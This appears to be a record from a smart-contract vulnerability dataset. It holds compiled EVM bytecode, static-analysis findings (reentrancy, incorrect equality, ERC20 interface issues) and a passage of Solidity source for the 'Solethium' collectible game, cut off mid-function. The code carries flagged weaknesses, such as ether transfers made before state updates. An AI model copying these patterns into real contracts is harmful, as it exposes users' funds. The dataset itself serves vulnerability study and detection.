366004612f9b565b611493565b61038f61068c3660046130d1565b6114cf565b61038f61069f366004612f11565b611758565b61036c6106b2366004612f9b565b611820565b6103c46106c5366004612f9b565b611ceb565b6103c4600c5481565b6103c46106e13660046130d1565b611f20565b61038f6106f43660046130ea565b611fd4565b61038f610707366004612f11565b612066565b6006546104cc90610100900473ffffffffffffffffffffffffffffffffffffffff1681565b61038f61073f366004612fc5565b6120a0565b61038f610752366004612f9b565b612372565b6103c4610765366004612f2c565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260056020908152604080832093909416825291909152205490565b60065461036c9060ff1681565b61038f6107b83660046130ea565b6127f1565b6103c46107cb366004612f9b565b601b60209081526000928352604080842090915290825290205481565b6103c46107f6366004612f9b565b601c60209081526000928352604080842090915290825290205481565b610826610821366004612f11565b612884565b604080519485526020850193909352918301526060820152608001610350565b6103c4600b5481565b6002805461085c90613226565b80601f016020809104026020016040519081016040528092919081815260200182805461088890613226565b80156108d55780601f106108aa576101008083540402835291602001916108d5565b820191906000526020600020905b8154815290600101906020018083116108b857829003601f168201915b505050505081565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906109459086815260200190565b60405180910390a35060015b92915050565b61095f610ff6565b610968816114cf565b50565b6000600a548261097b91906131d2565b3360009081526004602052604081208054929350839290919061099f90849061320f565b909155505030600090815260046020526040812080548392906109c390849061317f565b90915550506000838152601160205260409020546109ed9084906109e890849061317f565b6128ef565b505050565b600a5473ffffffffffffffffffffffffffffffffffffffff84166000908152600460205260408120549091610a2691613197565b821115610a3257600080fd5b610a3c8483612953565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320338452909152902054909250610a7b90839061320f565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600560209081526040808320338452909152812091909155600a54610abc90846131d2565b73ffffffffffffffffffffffffffffffffffffffff8616600090815260046020526040812080549293508392909190610af690849061320f565b909155505060075473ffffffffffffffffffffffffffffffffffffffff86811691161480610b26575060065460ff165b15610bd85773ffffffffffffffffffffffffffffffffffffffff841660009081526004602052604081208054839290610b6090849061317f565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610bc691815260200190565b60405180910390a36001915050610fef565b610be381600a612a0e565b610bed908261320f565b73ffffffffffffffffffffffffffffffffffffffff851660009081526004602052604081208054909190610c2290849061317f565b90915550610c339050816028612a0e565b610c3e82601e612a0e565b610c49836014612a0e565b610c53919061317f565b610c5d919061317f565b3060009081526004602052604081208054909190610c7c90849061317f565b90915550610c8d905081603c612a0e565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190610cc990849061317f565b90915550600090505b6003811015610d2957610d1781610cfe84610cee83600a6131d2565b610cf990601461317f565b612a0e565b6000848152601160205260409020546109e8919061317f565b80610d2181613274565b915050610cd2565b50610d3d610d38826032612a0e565b612a6d565b60075473ffffffffffffffffffffffffffffffffffffffff868116911614801590610d88575060065473ffffffffffffffffffffffffffffffffffffffff8681166101009092041614155b8015610daf575060075473ffffffffffffffffffffffffffffffffffffffff858116911614155b8015610ddb575060065473ffffffffffffffffffffffffffffffffffffffff8581166101009092041614155b15610e415760085473ffffffffffffffffffffffffffffffffffffffff868116911614801590610e26575060085473ffffffffffffffffffffffffffffffffffffffff858116911614155b15610e3657610e36858585612b57565b610e41858585612bf2565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e9b86600a612a0e565b610ea5908761320f565b60405190815260200160405180910390a33073ffffffffffffffffffffffffffffffffffffffff86167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efa866028612a0e565b610f0587601e612a0e565b610f10886014612a0e565b610f1a919061317f565b610f24919061317f565b60405190815260200160405180910390a360065473ffffffffffffffffffffffffffffffffffffffff61010090910481169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f8486603c612a0e565b60405190815260200160405180910390a38473ffffffffffffffffffffffffffffffffffffffff167ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a7610fd8856032612a0e565b60405190815260200160405180910390a260019150505b9392505050565b336000908152601c602090815260408083206002845290915290205461107d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f6e6f2063757272656e74207374616b696e6720706f736974696f6e000000000060448201526064015b60405180910390fd5b6110876002612c57565b6000611094336002611ceb565b11156110cf57600a546110a8336002611ceb565b6110b291906131d2565b336000908152601b60209081526040808320600284529091529020555b600854336000818152601c6020908152604080832060028452909152908190205490517fa9059cbb0000000000000000000000000000000000000000000000000000000081526004810192909252602482015273ffffffffffffffffffffffffffffffffffffffff9091169063a9059cbb90604401600060405180830381600087803b15801561115e57600080fd5b505af1158015611172573d6000803e3d6000fd5b5050336000908152601c6020908152604080832060028452825282205460149091527fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a805491945092506111c790849061320f565b9091555050336000908152601c6020908152604080832060028452909152812055565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205461122690839061317f565b33600081815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8916808552908352928190208590555193845290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101610945565b60075473ffffffffffffffffffffffffffffffffffffffff16331461130b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401611074565b600880547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff831617905560005b600381101561139c5760085473ffffffffffffffffffffffffffffffffffffffff166000908152601c602090815260408083208484529091528120558061139481613274565b91505061134e565b5050565b600a5473ffffffffffffffffffffffffffffffffffffffff8216600090815260046020526040812054909161095191613197565b60075473ffffffffffffffffffffffffffffffffffffffff163314611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401611074565b600680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b6003805461085c90613226565b33600090815260056020908152604080832073ffffffffffffffffffffffffffffffffffffffff8616845290915281205461122690839061320f565b336000908152601c602090815260408083206002845290915290205415611552576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f7374616b696e6720706f736974696f6e20616c726561647920657869737473006044820152606401611074565b6008546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201523060248201526044810183905273ffffffffffffffffffffffffffffffffffffffff909116906323b872dd90606401600060405180830381600087803b1580156115ca57600080fd5b505af11580156115de573d6000803e3d6000fd5b50506002600052505060126020527f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b2546116405760026000526012602052427f8e1fee8c88a9e04123b21e90cae2727a7715bf522a1e46eb5934ccd05203a6b2555b61164a6002612c57565b6000611657336002611ceb565b111561169257600a5461166b336002611ceb565b61167591906131d2565b336000908152601b60209081526040808320600284529091529020555b7fa74ba3945261e09fde15ba3db55005b205e61eeb4ad811ac0faa2b315bffeead54336000818152601960209081526040808320600280855290835281842095909555600c54848452601a8352818420868552835281842055928252601c8152828220938252929092528120805483929061170e90849061317f565b90915550506002600090815260146020527fa1930aa930426c54c34daad2b9ada7c5d0ef0c96078a3c5bb79f6fa6602c4a7a805483929061175090849061317f565b909155505050565b60075473ffffffffffffffffffffffffffffffffffffffff1633146117d9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401611074565b600780547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b600a5433600090815260046020526040812054909161183e91613197565b82111561184a57600080fd5b6118543383612953565b91506000600a548361186691906131d2565b3360009081526004602052604081208054929350839290919061188a90849061320f565b909155505060075473ffffffffffffffffffffffffffffffffffffffff163314806118b7575060065460ff165b1561194d5773ffffffffffffffffffffffffffffffffffffffff8416600090815260046020526040812080548392906118f190849061317f565b909155505060405183815273ffffffffffffffffffffffffffffffffffffffff85169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36001915050610951565b61195881600a612a0e565b611962908261320f565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600460205260408120805490919061199790849061317f565b909155506119a89050816028612a0e565b6119b382601e612a0e565b6119be836014612a0e565b6119c8919061317f565b6119d2919061317f565b30600090815260046020526040812080549091906119f190849061317f565b90915550611a02905081603c612a0e565b600654610100900473ffffffffffffffffffffffffffffffffffffffff1660009081526004602052604081208054909190611a3e90849061317f565b90915550600090505b6003811015611a7557611a6381610cfe84610cee83600a6131d2565b80611a6d81613274565b915050611a47565b50611a84610d38826032612a0e565b60075473ffffffffffffffffffffffffffffffffffffffff163314801590611ac95750600654610100900473ffffffffffffffffffffffffffffffffffffffff163314155b8015611af0575060075473ffffffffffffffffffffffffffffffffffffffff858116911614155b8015611b1c575060065473ffffffffffffffffffffffffffffffffffffffff8581166101009092041614155b15611b7f5760085473ffffffffffffffffffffffffffffffffffffffff163314801590611b64575060085473ffffffffffffffffffffffffffffffffffffffff858116911614155b15611b7457611b74338585612b57565b611b7f338585612bf2565b73ffffffffffffffffffffffffffffffffffffffff8416337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611bc386600a612a0e565b611bcd908761320f565b60405190815260200160405180910390a330337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c0c866028612a0e565b611c1787601e612a0e565b611c22886014612a0e565b611c2c919061317f565b611c36919061317f565b60405190815260200160405180910390a3600654610100900473ffffffffffffffffffffffffffffffffffffffff16337fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c9286603c612a0e565b60405190815260200160405180910390a3337ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a7611cd0856032612a0e565b60405190815260200160405180910390a25060019392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152601a60209081526040808320848452909152812054611d2857506000610951565b600c546000838152600f602090815260408083205460149092529091205415801590611d6a5750611d5884611f20565b60008581526015602052604090205414155b15611e1f57600084815260156020526040812054611d8786611f20565b611d91919061320f565b90505b600081118015611dca5750600085815260146020526040902054633b9aca0090611dbe85846131d2565b611dc89190613197565b105b15611dee57611dda6002846131d2565b9250611de76002836131d2565b9150611d94565b600085815260146020526040902054611e0784836131d2565b611e119190613197565b611e1b908361317f565b9150505b73ffffffffffffffffffffffffffffffffffffffff85166000818152601a602090815260408083208884528252808320549383526019825280832088845290915281205490918491611e729083906131d2565b611e7c9190613197565b611e86908461320f565b73ffffffffffffffffffffffffffffffffffffffff88166000908152601c602090815260408083208a8452909152902054611ec191906131d2565b611ecb9190613197565b73ffffffffffffffffffffffffffffffffffffffff87166000908152601b60209081526040808320898452909152902054611f06919061317f565b9050600a5481611f169190613197565b9695505050505050565b600081815260126020526040812054611f3b57506000919050565b60008281526017602090815260408083205460138352818420546012909352922054611f67904261320f565b611f71919061317f565b611f7b919061320f565b60008381526013602090815260408083205460168352818420546011909352922054611fa7919061320f565b611fb191906131d2565b611fbb9190613197565b600083815260116020526040902054610951919061320f565b60075473ffffffffffffffffffffffffffffffffffffffff163314612055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401611074565b600090815260136020526040902055565b60005b600381101561139c57600061207e8383611ceb565b111561208e5761208e8282612372565b8061209881613274565b915050612069565b60005b81518110156121be57600a54600d546120bc91906131d2565b600460008484815181106120d2576120d26132dc565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612123919061317f565b9250508190555081818151811061213c5761213c6132dc565b602002602001015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516121a491815260200190565b60405180910390a3806121b681613274565b9150506120a3565b508051600a54600d546121d191906131d2565b6121db91906131d2565b33600090815260046020526040812080549091906121fa90849061320f565b9091555050600160005260126020527f71a67924699a20698523213e55fe499d539379d7769cd5567e2c45d583f815a35461225d5760016000526012602052427f71a67924699a20698523213e55fe499d539379d7769cd5567e2c45d583f815a3555b6122676001612c57565b6000612274336001611ceb565b11156122af57600a54612288336001611ceb565b61229291906131d2565b336000908152601b60209081526040808320600184529091529020555b7f169f97de0d9a84d840042b17d3c6b9638b3d6fd9024c9eb0c7a306a17b49f88f54336000818152601960209081526040808320600180855290835281842095909555600c54848452601a83528184208685528352818420558551938352601c825280832094835293905291822080549192909161232e90849061317f565b909155505080516001600090815260146020527fb6c61a840592cc84133e4b25bd509abf4659307c57b160799b38490a5aa48f2c805490919061175090849061317f565b61237b81612c57565b73ffffffffffffffffffffffffffffffffffffffff82166000908152601a602090815260408083208484529091529020546123b4575050565b600c5473ffffffffffffffffffffffffffffffffffffffff83166000818152601a60209081526040808320868452825280832054938352601982528083208684529091528120549092919061240a9083906131d2565b6124149190613197565b6000848152600f602052604090205461242d919061320f565b73ffffffffffffffffffffffffffffffffffffffff85166000908152601c6020908152604080832087845290915290205461246891906131d2565b6124729190613197565b73ffffffffffffffffffffffffffffffffffffffff84166000908152601b602090815260408083208684529091529020546124ad919061317f565b73ffffffffffffffffffffffffffffffffffffffff84166000818152601b602090815260408083208784528252808320839055600f82528083205484845260198352818420888552835281842055600c54938352601a825280832087845290915281209190915590915061252283600261317f565b61252d90600a6131d2565b905061253e82610cf983600161317f565b612548908361320f565b73ffffffffffffffffffffffffffffffffffffffff85166000908152600460205260408120805490919061257d90849061317f565b90915550612592905082610cf983600561317f565b600654610100900473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040812080549091906125ce90849061317f565b909155506125e3905082610cf983600361317f565b6125f283610cf984600261317f565b6125fc908461320f565b612606919061320f565b306000908152600460205260408120805490919061262590849061320f565b90915550600090505b60028110156126a3576126916126458260026131d2565b85141561265357600161265e565b61265e8260026131d2565b612678858461266e87600261317f565b610cf9919061317f565b6000878152601160205260409020546109e8919061317f565b8061269b81613274565b91505061262e565b506126b6610d3883610cf984600461317f565b600a5473ffffffffffffffffffffffffffffffffffffffff85169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061270486610cf987600161317f565b61270e908761320f565b6127189190613197565b60405190815260200160405180910390a3600654600a5461010090910473ffffffffffffffffffffffffffffffffffffffff169030907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061277f86610cf987600561317f565b6127899190613197565b60405190815260200160405180910390a3600a5430907ffb1cca2745e309250590c0f70d53bdbce480caeb94e9f16af0bf5b20ae9e16a7906127d085610cf986600461317f565b6127da9190613197565b60405190815260200160405180910390a250505050565b60075473ffffffffffffffffffffffffffffffffffffffff163314612872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600960248201527f6e6f74206f776e657200000000000000000000000000000000000000000000006044820152606401611074565b60009182526010602052604090912055565b600080600080612895856000611ceb565b6128a0866001611ceb565b6128ab876002611ceb565b6128b6886002611ceb565b6128c1896001611ceb565b6128cc8a6000611ceb565b6128d6919061317f565b6128e0919061317f565b93509350935093509193509193565b600082815260126020526040902054156129415761290c82611f20565b600083815260166020908152604080832093909355601290522054612931904261320f565b6000838152601760205260409020555b60009182526011602052604090912055565b600b54600a5473ffffffffffffffffffffffffffffffffffffffff8416600090815260046020526040812054909291849161298e9190613197565b612998919061320f565b1080156129c0575060085473ffffffffffffffffffffffffffffffffffffffff848116911614155b15612a0857600b54600a5473ffffffffffffffffffffffffffffffffffffffff85166000908152600460205260409020546129fb9190613197565b612a05919061320f565b91505b50919050565b6000601081612a1e84600a6131d2565b612a2990600161317f565b8152602001908152602001600020546010600084600a612a4991906131d2565b81526020019081526020016000205484612a6391906131d2565b610fef9190613197565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040812054600a54600154612aa591906131d2565b612aaf919061320f565b90506000612abd838361320f565b90508181600a54612ace91906131d2565b612ad89190613197565b600a81905560011115612aeb576001600a555b60085473ffffffffffffffffffffffffffffffffffffffff166000908152600460205260409020548290612b209083906131d2565b612b2a9190613197565b60085473ffffffffffffffffffffffffffffffffffffffff16600090815260046020526040902055505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526018602052604090205460ff16158015612b8f5750600d548110155b156109ed57612b9f836001612dbb565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260186020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055505050565b600e5481106109ed5760085473ffffffffffffffffffffffffffffffffffffffff84811691161415612c2957612c29826000612dbb565b60085473ffffffffffffffffffffffffffffffffffffffff838116911614156109ed576109ed836000612dbb565b60008181526014602052604090205415801590612c8a5750612c7881611f20565b60008281526015602052604090205414155b1561096857600081815260156020526040812054612ca783611f20565b612cb1919061320f565b90505b600081118015612cee5750600082815260146020526040902054600c54633b9aca009190612ce290846131d2565b612cec9190613197565b105b15612d55576002600c6000828254612d0691906131d2565b90915550600090505b6003811015612d4f576000818152600f60205260408120805460029290612d379084906131d2565b90915550819050612d4781613274565b915050612d0f565b50612cb4565b600082815260146020526040902054600c54612d7190836131d2565b612d7b9190613197565b6000838152600f602052604081208054909190612d9990849061317f565b90915550612da8905082611f20565b6000838152601560205260409020555050565b600081815260126020526040902054612de05760008181526012602052604090204290555b612de981612c57565b6000612df58383611ceb565b1115612e4457600a54612e088383611ceb565b612e1291906131d2565b73ffffffffffffffffffffffffffffffffffffffff83166000908152601b602090815260408083208584529091529020555b6000818152600f602090815260408083205473ffffffffffffffffffffffffffffffffffffffff861680855260198452828520868652845282852091909155600c54818552601a84528285208686528452828520558352601c82528083208484529091528120805460019290612ebb90849061317f565b90915550506000818152601460205260408120805460019290612edf90849061317f565b90915550505050565b803573ffffffffffffffffffffffffffffffffffffffff81168114612f0c57600080fd5b919050565b600060208284031215612f2357600080fd5b610fef82612ee8565b60008060408385031215612f3f57600080fd5b612f4883612ee8565b9150612f5660208401612ee8565b90509250929050565b600080600060608486031215612f7457600080fd5b612f7d84612ee8565b9250612f8b60208501612ee8565b9150604084013590509250925092565b60008060408385031215612fae57600080fd5b612fb783612ee8565b946020939093013593505050565b60006020808385031215612fd857600080fd5b823567ffffffffffffffff80821115612ff057600080fd5b818501915085601f83011261300457600080fd5b8135818111156130165761301661330b565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f830116810181811085821117156130595761305961330b565b604052828152858101935084860182860187018a101561307857600080fd5b600095505b838610156130a25761308e81612ee8565b85526001959095019493860193860161307d565b5098975050505050505050565b6000602082840312156130c157600080fd5b81358015158114610fef57600080fd5b6000602082840312156130e357600080fd5b5035919050565b600080604083850312156130fd57600080fd5b50508035926020909101359150565b600060208083528351808285015260005b818110156131395785810183015185820160400152820161311d565b8181111561314b576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60008219821115613192576131926132ad565b500190565b6000826131cd577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561320a5761320a6132ad565b500290565b600082821015613221576132216132ad565b500390565b600181811c9082168061323a57607f821691505b60208210811415612a08577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132a6576132a66132ad565b5060010190565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea2646970667358221220c4a112b181899d8b52b5d1586c6fe55ceaa7a37229683c06c1ea952028f111b264736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 9,172 |
0xbc34b85205affe0c941c784f6d76d1d6fbf2caa8
|
pragma solidity ^0.4.18;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public ownerAddress;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
ownerAddress = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == ownerAddress);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(ownerAddress, newOwner);
ownerAddress = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath32
* @dev SafeMath library implemented for uint32
*/
library SafeMath32 {
function mul(uint32 a, uint32 b) internal pure returns (uint32) {
if (a == 0) {
return 0;
}
uint32 c = a * b;
assert(c / a == b);
return c;
}
function div(uint32 a, uint32 b) internal pure returns (uint32) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint32 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint32 a, uint32 b) internal pure returns (uint32) {
assert(b <= a);
return a - b;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title SafeMath16
* @dev SafeMath library implemented for uint16
*/
library SafeMath16 {
function mul(uint16 a, uint16 b) internal pure returns (uint16) {
if (a == 0) {
return 0;
}
uint16 c = a * b;
assert(c / a == b);
return c;
}
function div(uint16 a, uint16 b) internal pure returns (uint16) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint16 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint16 a, uint16 b) internal pure returns (uint16) {
assert(b <= a);
return a - b;
}
function add(uint16 a, uint16 b) internal pure returns (uint16) {
uint16 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
contract Solethium is Ownable, ERC721 {
uint16 private devCutPromille = 25;
/**
** @dev EVENTS
**/
event EventSolethiumObjectCreated(uint256 tokenId, string name);
event EventSolethiumObjectBought(address oldOwner, address newOwner, uint price);
// @dev use SafeMath for the following uints
using SafeMath for uint256; // 1,15792E+77
using SafeMath for uint32; // 4294967296
using SafeMath for uint16; // 65536
// @dev an object - CrySolObject ( dev expression for Solethium Object)- contains relevant attributes only
struct CrySolObject {
string name;
uint256 price;
uint256 id;
uint16 parentID;
uint16 percentWhenParent;
address owner;
uint8 specialPropertyType; // 0=NONE, 1=PARENT_UP
uint8 specialPropertyValue; // example: 5 meaning 0,5 %
}
// @dev an array of all CrySolObject objects in the game
CrySolObject[] public crySolObjects;
// @dev integer - total number of CrySol Objects
uint16 public numberOfCrySolObjects;
// @dev Total number of CrySol ETH worth in the game
uint256 public ETHOfCrySolObjects;
mapping (address => uint) public ownerCrySolObjectsCount; // for owner address, track number on tokens owned
mapping (address => uint) public ownerAddPercentToParent; // adding additional percents to owners of some Objects when they have PARENT objects
mapping (address => string) public ownerToNickname; // for owner address, track his nickname
/**
** @dev MODIFIERS
**/
modifier onlyOwnerOf(uint _id) {
require(msg.sender == crySolObjects[_id].owner);
_;
}
/**
** @dev NEXT PRICE CALCULATIONS
**/
uint256 private nextPriceTreshold1 = 0.05 ether;
uint256 private nextPriceTreshold2 = 0.3 ether;
uint256 private nextPriceTreshold3 = 1.0 ether;
uint256 private nextPriceTreshold4 = 5.0 ether;
uint256 private nextPriceTreshold5 = 10.0 ether;
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price <= nextPriceTreshold1) {
return _price.mul(200).div(100);
} else if (_price <= nextPriceTreshold2) {
return _price.mul(170).div(100);
} else if (_price <= nextPriceTreshold3) {
return _price.mul(150).div(100);
} else if (_price <= nextPriceTreshold4) {
return _price.mul(140).div(100);
} else if (_price <= nextPriceTreshold5) {
return _price.mul(130).div(100);
} else {
return _price.mul(120).div(100);
}
}
/**
** @dev this method is used to create CrySol Object
**/
function createCrySolObject(string _name, uint _price, uint16 _parentID, uint16 _percentWhenParent, uint8 _specialPropertyType, uint8 _specialPropertyValue) external onlyOwner() {
uint256 _id = crySolObjects.length;
crySolObjects.push(CrySolObject(_name, _price, _id, _parentID, _percentWhenParent, msg.sender, _specialPropertyType, _specialPropertyValue)) ; //insert into array
ownerCrySolObjectsCount[msg.sender] = ownerCrySolObjectsCount[msg.sender].add(1); // increase count for OWNER
numberOfCrySolObjects = (uint16)(numberOfCrySolObjects.add(1)); // increase count for Total number
ETHOfCrySolObjects = ETHOfCrySolObjects.add(_price); // increase total ETH worth of all tokens
EventSolethiumObjectCreated(_id, _name);
}
/**
** @dev this method is used to GET CrySol Objects from one OWNER
**/
function getCrySolObjectsByOwner(address _owner) external view returns(uint[]) {
uint256 tokenCount = ownerCrySolObjectsCount[_owner];
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint[] memory result = new uint[](tokenCount);
uint counter = 0;
for (uint i = 0; i < numberOfCrySolObjects; i++) {
if (crySolObjects[i].owner == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
}
/**
** @dev this method is used to GET ALL CrySol Objects in the game
**/
function getAllCrySolObjects() external view returns(uint[]) {
uint[] memory result = new uint[](numberOfCrySolObjects);
uint counter = 0;
for (uint i = 0; i < numberOfCrySolObjects; i++) {
result[counter] = i;
counter++;
}
return result;
}
/**
** @dev this method is used to calculate Developer's Cut in the game
**/
function returnDevelopersCut(uint256 _price) private view returns(uint) {
return _price.mul(devCutPromille).div(1000);
}
/**
** @dev this method is used to calculate Parent Object's Owner Cut in the game
** owner of PARENT objects will get : percentWhenParent % from his Objects + any additional bonuses he may have from SPECIAL trade objects
** that are increasing PARENT percentage
**/
function returnParentObjectCut( CrySolObject storage _obj, uint256 _price ) private view returns(uint) {
uint256 _percentWhenParent = crySolObjects[_obj.parentID].percentWhenParent + (ownerAddPercentToParent[crySolObjects[_obj.parentID].owner]).div(10);
return _price.mul(_percentWhenParent).div(100); //_parentCut
}
/**
** @dev this method is used to TRANSFER OWNERSHIP of the CrySol Objects in the game on the BUY event
**/
function _transferOwnershipOnBuy(address _oldOwner, uint _id, address _newOwner) private {
// decrease count for original OWNER
ownerCrySolObjectsCount[_oldOwner] = ownerCrySolObjectsCount[_oldOwner].sub(1);
// new owner gets ownership
crySolObjects[_id].owner = _newOwner;
ownerCrySolObjectsCount[_newOwner] = ownerCrySolObjectsCount[_newOwner].add(1); // increase count for the new OWNER
ETHOfCrySolObjects = ETHOfCrySolObjects.sub(crySolObjects[_id].price);
crySolObjects[_id].price = calculateNextPrice(crySolObjects[_id].price); // now, calculate and update next price
ETHOfCrySolObjects = ETHOfCrySolObjects.add(crySolObjects[_id].price);
}
/**
** @dev this method is used to BUY CrySol Objects in the game, defining what will happen with the next price
**/
function buyCrySolObject(uint _id) external payable {
CrySolObject storage _obj = crySolObjects[_id];
uint256 price = _obj.price;
address oldOwner = _obj.owner; // seller
address newOwner = msg.sender; // buyer
require(msg.value >= price);
require(msg.sender != _obj.owner); // can't buy again the same thing!
uint256 excess = msg.value.sub(price);
// calculate if percentage will go to parent Object owner
crySolObjects[_obj.parentID].owner.transfer(returnParentObjectCut(_obj, price));
// Transfer payment to old owner minus the developer's cut, parent owner's cut and any special Object's cut.
uint256 _oldOwnerCut = 0;
_oldOwnerCut = price.sub(returnDevelopersCut(price));
_oldOwnerCut = _oldOwnerCut.sub(returnParentObjectCut(_obj, price));
oldOwner.transfer(_oldOwnerCut);
